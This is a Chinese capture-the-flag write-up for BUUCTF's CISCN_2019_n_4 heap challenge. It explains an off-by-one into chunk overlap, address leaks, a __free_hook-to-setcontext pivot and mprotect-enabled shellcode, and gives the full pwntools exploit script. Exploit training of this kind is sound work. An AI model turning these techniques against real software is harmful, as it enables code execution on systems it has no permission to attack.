[buuctf] CISCN_2019_n_4 WriteUp
这道题基于ubuntu18默认的glibc是libc-2.27,可以在github上自行下载libc.
题目描述:
我们先看主要逻辑

可以看到,程序逻辑比较简单,就是一个经典的菜单题。分析一下漏洞点
可以发现,在编辑函数中有一个off-by-one。
思路整理:
整理思路:
先使用off-by-one制造chunk overlapping,然后因为堆指针直接存放在堆上,所以我们直接通过溢出改写指针,达到任意写和任意读,因为one-gadget用不了,所以我这边采用了setcontext+mprotect的方式执行堆上的shellcode。另外libc2.27采用了Tcache机制,所以为了绕过Tcache把libc基地址泄露出来,我们需要连续释放几个chunk才行。最后让free_hook 调用setcontext再调用mprotect最后调用shellcode。
申请堆块:
add(0x88,b"\x00")
add(0x18,b"\x00")
add(0x88,b"\x00")
for i in range(7):
add(0x88,b"\x00")
off-by-one:
edit(0,b"\x00"*0x88+b"\x61")
free(1)
add(0x58,b"\x00"*32+p64(0xffff)+b"\x58")
这里我们就拿到了堆中的一个指针控制权,我们继续构造泄露堆地址
recv=show(1)
recv=recv[:-1]
fastbin=u64(recv.ljust(8,b"\x00"))
heap_base=fastbin-0xc0-0x60
unsort_heap=heap_base+0x30
print(hex(heap_base))
然后是连续释放,让最后一个chunk进入unsorted bin
edit(1,p64(heap_base+0xc0))
edit(2,b"\x00"*32+p64(0xffff)+p64(heap_base+0xc0)+p64(0)+p64(0x21)+p64(0x88)+b"\x70")
edit(1,b"\x00"*24+p64(0x21)+p64(0xffff))
free(3)
free(2)
for i in range(4,10,1):
free(i)
free(0)
edit(1,b"\x00"*24+p64(0x21)+p64(0xffff)+p64(unsort_heap))
获取libc基地址:
recv=show(1)
unsorted=recv[:-1]
unsorted=u64(unsorted.ljust(8,b"\x00"))
libc_base=unsorted-unsorted_offset
print(hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
print(hex(free_hook))
one_gadget=libc_base+one_gadget_offset
print(hex(one_gadget))
setcontext=libc_base+libc.symbols['setcontext']+53
print(hex(setcontext))
mprotect=libc_base+libc.symbols['mprotect']
print(hex(mprotect))
最后构造payload(里面包含上次文章的FSOP的构造,但是懒得改,所以就小改了一下,凑合着用)
heap_addr=heap_base
for i in range(7):
add(0x88,b"\x00")
edit(1,b"\x00"*0xb0+p64(0xffff)+p64(free_hook)+p64(0)*2+p64(0xffff))
edit(1,p64(setcontext))
stream=p64(0x00000000fbad208b)#magic
stream=stream.ljust(_IO_write_base_offset,b"\x00")#0x20
stream+=p64(0x0)#_IO_write_base#0x18
stream+=p64(0x1)#_IO_write_ptr
#setcontext [rdi+0xa0]=rsp [rdi+0xa8]=rip [rdi+0x68]=rdi [rdi+0x70]=rsi [rdi+0x88]=rdx
stream=stream.ljust(0x68,b"\x00")
stream+=p64(heap_addr-0x250)
stream=stream.ljust(0x70,b"\x00")
stream+=p64(0x1000)
stream=stream.ljust(0x88,b"\x00")
stream+=p64(0x7)
stream=stream.ljust(0xa0,b"\x00")
rsp=heap_addr+0x100+0x100
stream+=p64(rsp)
stream+=p64(mprotect)
#set stream
stream=stream.ljust(_mode_offset,b"\x00")
stream+=p64(0x0)#_mode=0xc0
stream=stream.ljust(vtable_offset,b"\x00")
vtable_ptr=heap_base+0x100+len(stream)+0x8
stream+=p64(vtable_ptr)#vtable ptr=0xd8
payload=stream
vtable=p64(heap_addr+0x100+816+0x8-0xa0)+b"\x00"*_IO_OVERFLOW_offset*0x10#0x18
vtable+=p64(setcontext)
payload+=vtable
#set jump addr
payload+=p64(heap_addr+0x100+len(payload)+0x8)
最后将payload读入堆中:
payload+=bytes(asm(shellcraft.sh()))
#print payload and check it
print(hexdump(payload))
edit(6,payload)
最后的最后调用free函数即可:
ru(b"Your choice :")
send(b"4")
ru(b"Index :")
send(b"6")
#gdb.attach(p)
p.interactive()
结束,拿下flag
完整exp
完整exp:
from pwn import *
elf=ELF('./ciscn_2019_n_4_2.27')
p=process("./ciscn_2019_n_4_2.27")
#p=remote("node5.buuoj.cn",29469)
libc=ELF("/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")#/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6
one_gadget_offset=939255
unsorted_offset=0x3ebca0
vtable_offset=0xd8
_IO_OVERFLOW_offset=0x18
_IO_write_base_offset=0x20
_IO_write_ptr_offset=0x28#_IO_write_base<_IO_write_ptr
_mode_offset=0xc0#<=0
context.arch="amd64"
context.os="linux"
def send(msg):
p.send(msg)
def ru(msg):
p.recvuntil(msg)
def add(size,content):
ru(b"Your choice :")
send(b"1")
ru(b"how big is the nest ?")
send(str(size))
ru(b"what stuff you wanna put in the nest?")
send(content)
ru(b"Thx buddy.\n")
log.success("add a chunk")
def edit(idx,content):
ru(b"Your choice :")
send(b"2")
ru(b"Index :")
send(str(idx))
ru(b"what stuff you wanna put in the nest?")
send(content)
ru(b"Done !\n")
log.success("edit a chunk id="+str(idx))
def free(idx):
ru(b"Your choice :")
send(b"4")
ru(b"Index :")
send(str(idx))
ru(b"Now another w0odpeck3r lost his house :(\n")
log.success("free a chunk id="+str(idx))
def show(idx):
ru(b"Your choice :")
send(b"3")
ru(b"Index :")
send(str(idx))
ru(b"Decorations : ")
recv=p.recvline()
print(recv)
ru(b"Done !\n")
log.success("show a chunk id="+str(idx))
return recv
if __name__ == "__main__":
add(0x88,b"\x00")
add(0x18,b"\x00")
add(0x88,b"\x00")
for i in range(7):
add(0x88,b"\x00")
edit(0,b"\x00"*0x88+b"\x61")
free(1)
add(0x58,b"\x00"*32+p64(0xffff)+b"\x58")
recv=show(1)
recv=recv[:-1]
fastbin=u64(recv.ljust(8,b"\x00"))
heap_base=fastbin-0xc0-0x60
unsort_heap=heap_base+0x30
print(hex(heap_base))
edit(1,p64(heap_base+0xc0))
edit(2,b"\x00"*32+p64(0xffff)+p64(heap_base+0xc0)+p64(0)+p64(0x21)+p64(0x88)+b"\x70")
edit(1,b"\x00"*24+p64(0x21)+p64(0xffff))
free(3)
free(2)
for i in range(4,10,1):
free(i)
free(0)
edit(1,b"\x00"*24+p64(0x21)+p64(0xffff)+p64(unsort_heap))
recv=show(1)
unsorted=recv[:-1]
unsorted=u64(unsorted.ljust(8,b"\x00"))
libc_base=unsorted-unsorted_offset
print(hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
print(hex(free_hook))
one_gadget=libc_base+one_gadget_offset
print(hex(one_gadget))
setcontext=libc_base+libc.symbols['setcontext']+53
print(hex(setcontext))
mprotect=libc_base+libc.symbols['mprotect']
print(hex(mprotect))
heap_addr=heap_base
for i in range(7):
add(0x88,b"\x00")
edit(1,b"\x00"*0xb0+p64(0xffff)+p64(free_hook)+p64(0)*2+p64(0xffff))
edit(1,p64(setcontext))
stream=p64(0x00000000fbad208b)#magic
stream=stream.ljust(_IO_write_base_offset,b"\x00")#0x20
stream+=p64(0x0)#_IO_write_base#0x18
stream+=p64(0x1)#_IO_write_ptr
#setcontext [rdi+0xa0]=rsp [rdi+0xa8]=rip [rdi+0x68]=rdi [rdi+0x70]=rsi [rdi+0x88]=rdx
stream=stream.ljust(0x68,b"\x00")
stream+=p64(heap_addr-0x250)
stream=stream.ljust(0x70,b"\x00")
stream+=p64(0x1000)
stream=stream.ljust(0x88,b"\x00")
stream+=p64(0x7)
stream=stream.ljust(0xa0,b"\x00")
rsp=heap_addr+0x100+0x100
stream+=p64(rsp)
stream+=p64(mprotect)
#set stream
stream=stream.ljust(_mode_offset,b"\x00")
stream+=p64(0x0)#_mode=0xc0
stream=stream.ljust(vtable_offset,b"\x00")
vtable_ptr=heap_base+0x100+len(stream)+0x8
stream+=p64(vtable_ptr)#vtable ptr=0xd8
payload=stream
vtable=p64(heap_addr+0x100+816+0x8-0xa0)+b"\x00"*_IO_OVERFLOW_offset*0x10#0x18
vtable+=p64(setcontext)
payload+=vtable
#set jump addr
payload+=p64(heap_addr+0x100+len(payload)+0x8)
print(len(payload))
#sandbox escape;set shellcode.You must set arch and os !!!
payload+=bytes(asm(shellcraft.sh()))
#print payload and check it
print(hexdump(payload))
edit(6,payload)
ru(b"Your choice :")
send(b"4")
ru(b"Index :")
send(b"6")
#gdb.attach(p)
p.interactive()
exp可行性测试
本地:

远程:
flag为动态

1834

被折叠的 条评论
为什么被折叠?



